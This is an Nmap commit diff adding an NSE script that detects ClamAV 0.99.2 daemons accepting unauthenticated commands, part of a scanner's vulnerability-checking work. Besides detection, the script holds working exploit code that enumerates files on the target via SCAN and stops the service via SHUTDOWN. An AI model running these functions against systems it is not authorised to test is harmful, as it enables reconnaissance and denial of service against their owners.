Adds clamav-exec.nse to detect ClamAV servers vulnerable to remote clamav command execution

CHANGELOG

@@ -1,5 +1,8 @@
 # Nmap Changelog ($Id$); -*-text-*-
 
+o [NSE] Added clamav-exec to detect ClamAV servers vulnerable to unauthorized   
+  clamav command execution. [Paulino Calderon]
+
 o [NSE] Added http-aspnet-debug to detect ASP.NET applications with  
   debugging enabled. Script submitted by Josh Amishav-Zlatin. [Paulino Calderon]
 

scripts/clamav-exec.nse

@@ -0,0 +1,220 @@
+local shortport = require "shortport"
+local vulns = require "vulns" 
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local io = require "io"
+local string = require "string"
+local comm = require "comm"
+
+description = [[
+Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution. 
+
+ClamAV server 0.99.2, and possibly other previous versions, allow the execution 
+of dangerous service commands without authentication. Specifically, the command 'SCAN' 
+may be used to list system files and the command 'SHUTDOWN' shut downs the 
+service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
+
+This script without arguments test the availability of the command 'SCAN'. 
+
+Reference:
+* https://twitter.com/nitr0usmx/status/740673507684679680
+* https://bugzilla.clamav.net/show_bug.cgi?id=11585
+]]
+
+---
+-- @usage 
+-- nmap -sV --script clamav-exec <target>
+-- nmap --script clamav-exec --script-args cmd='scan',scandb='files.txt' <target>
+-- nmap --script clamav-exec --script-args cmd='shutdown' <target>
+-- 
+-- @output
+-- PORT     STATE SERVICE VERSION
+-- 3310/tcp open  clam    ClamAV 0.99.2 (21714)
+-- | clamav-exec: 
+-- |   VULNERABLE:
+-- |   ClamAV Remote Command Execution
+-- |     State: VULNERABLE
+-- |       ClamAV 0.99.2, and possibly other previous versions, allow the execution of the 
+-- |       clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN' 
+-- |       may be used to enumerate system files and the command 'SHUTDOWN' shut downs the 
+-- |       service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
+-- |       
+-- |     Disclosure date: 2016-06-8
+-- |     Extra information:
+-- |       SCAN command is enabled.
+-- |     References:
+-- |       https://bugzilla.clamav.net/show_bug.cgi?id=11585
+-- |_      https://twitter.com/nitr0usmx/status/740673507684679680
+-- @xmloutput 
+-- <table key="NMAP-1">
+-- <elem key="title">ClamAV Remote Command Execution</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="description">
+-- <elem>ClamAV 0.99.2, and possibly other previous versions, allow the execution 
+-- of the &#xa;clamav commands SCAN and SHUTDOWN without authentication. 
+-- The command &apos;SCAN&apos; &#xa;may be used to enumerate system files and 
+-- the command &apos;SHUTDOWN&apos; shut downs the &#xa;service. 
+-- This vulnerability was discovered by Alejandro Hernandez (nitr0us).&#xa;</elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="year">2016</elem>
+-- <elem key="day">8</elem>
+-- <elem key="month">06</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2016-06-8</elem>
+-- <table key="extra_info">
+-- <elem>SCAN command is enabled.</elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://bugzilla.clamav.net/show_bug.cgi?id=11585</elem>
+-- <elem>https://twitter.com/nitr0usmx/status/740673507684679680</elem>
+-- </table>
+-- </table>
+--
+-- @args clamav-exec.cmd Command to execute. Option: scan and shutdown
+-- @args clamav-exec.scandb Database to file list. 
+---
+
+author = "Paulino Calderon <calderon()websec.mx>"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"exploit", "vuln"}
+
+portrule = shortport.port_or_service{3310, "clam"}
+
+local function shutdown(host, port)
+  local status, data = comm.exchange(host, port, "SHUTDOWN")
+  if not status and data == "EOF" then
+    stdnse.debug1("Expected EOF response to SHUTDOWN command:%s", data)
+    return true
+  end
+  return nil
+end
+
+---
+-- scan(host, port, file)
+-- Sends SCAN %FILE command to clamav.
+-- If no file is specified, we query a non existing file to check the response.
+--
+local function scan(host, port, file)
+  local status, data
+
+  if not file then
+    status, data = comm.exchange(host, port, "SCAN /trinity/loves/nmap")
+    if not status then
+      stdnse.debug1("Failed to send SCAN command:%s", data)
+      return nil
+    end
+
+    if data and data:match("No such file") then
+      stdnse.debug1("SCAN command enabled.")
+      return true, nil
+    end
+  else 
+    status, data = comm.exchange(host, port, "SCAN " .. file)
+    if not status then
+      stdnse.debug1("Failed to send 'SCAN %s' command:%s", file, data)
+      return nil
+    end
+    if data and data:match("OK") then
+        stdnse.debug1("File '%s' exists", file)
+        return true, true
+      else
+        stdnse.debug1("File '%s' does not exists", file)
+        return true, nil
+      end
+  end
+
+  return nil
+end
+
+local function check_clam(host, port)
+  local status, data = comm.exchange(host, port, "PING")
+  if not status then
+    stdnse.debug1("Failed to send PING command:%s", data)
+    return nil
+  end
+  if data and data:match("PONG") then
+    stdnse.debug1("PONG response received")
+    return true
+  end
+  return nil
+end
+
+action = function(host, port)
+  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+  local scandb = stdnse.get_script_args(SCRIPT_NAME..".scandb") or nil
+
+  if cmd == "scan" and not scandb then
+    return "The argument 'scandb' must be set if we are using the command 'SCAN'"
+  end
+
+  --Check the service and update the port table
+  local clamchk = check_clam(host, port)
+  if clamchk then
+    stdnse.debug1("ClamAV daemon found")
+    port.version.name = "clam"
+    port.version.product = "ClamAV"
+    nmap.set_port_version(host, port)
+  end
+
+  local vuln = {
+    title = 'ClamAV Remote Command Execution',
+    state = vulns.STATE.NOT_VULN,
+    description = [[
+ClamAV 0.99.2, and possibly other previous versions, allow the execution of the 
+clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN' 
+may be used to enumerate system files and the command 'SHUTDOWN' shut downs the 
+service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
+]],
+    references = {
+      'https://bugzilla.clamav.net/show_bug.cgi?id=11585',
+      'https://twitter.com/nitr0usmx/status/740673507684679680'
+    },
+    dates = {
+      disclosure = {year = '2016', month = '06', day = '8'},
+    },
+  }
+  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+  local status, files = nil
+
+  if cmd == "scan" then
+    local file = io.open(scandb, "r")
+    if not file then
+      stdnse.debug1("Couldn't open file '%s'", scandb)
+      return nil
+    end
+    local files = {}
+    local exists
+    while true do
+      local db_line = file:read()
+      if not db_line then
+        break
+      end
+      status, exists = scan(host, port, db_line)
+      if status and exists then
+        table.insert(files, string.format("%s - FOUND!", db_line))
+      end
+    end
+    if #files > 0 then
+      vuln.extra_info = stdnse.format_output(true, files)
+      vuln.state = vulns.STATE.VULN
+    end
+  elseif cmd == "shutdown" then
+    status = shutdown(host, port)
+    if status then
+      vuln.extra_info = "SHUTDOWN command sent succesfully."  
+      vuln.state = vulns.STATE.VULN
+    end
+  else 
+    status, files = scan(host, port, nil)
+    if status then
+      vuln.extra_info = "SCAN command is enabled."
+      vuln.state = vulns.STATE.VULN
+    end
+  end
+
+  return vuln_report:make_output(vuln)
+end

scripts/script.db

@@ -63,6 +63,7 @@ Entry { filename = "citrix-enum-apps-xml.nse", categories = { "discovery", "safe
 Entry { filename = "citrix-enum-apps.nse", categories = { "discovery", "safe", } }
 Entry { filename = "citrix-enum-servers-xml.nse", categories = { "discovery", "safe", } }
 Entry { filename = "citrix-enum-servers.nse", categories = { "discovery", "safe", } }
+Entry { filename = "clamav-exec.nse", categories = { "exploit", "vuln", } }
 Entry { filename = "couchdb-databases.nse", categories = { "discovery", "safe", } }
 Entry { filename = "couchdb-stats.nse", categories = { "discovery", "safe", } }
 Entry { filename = "creds-summary.nse", categories = { "auth", "default", "safe", } }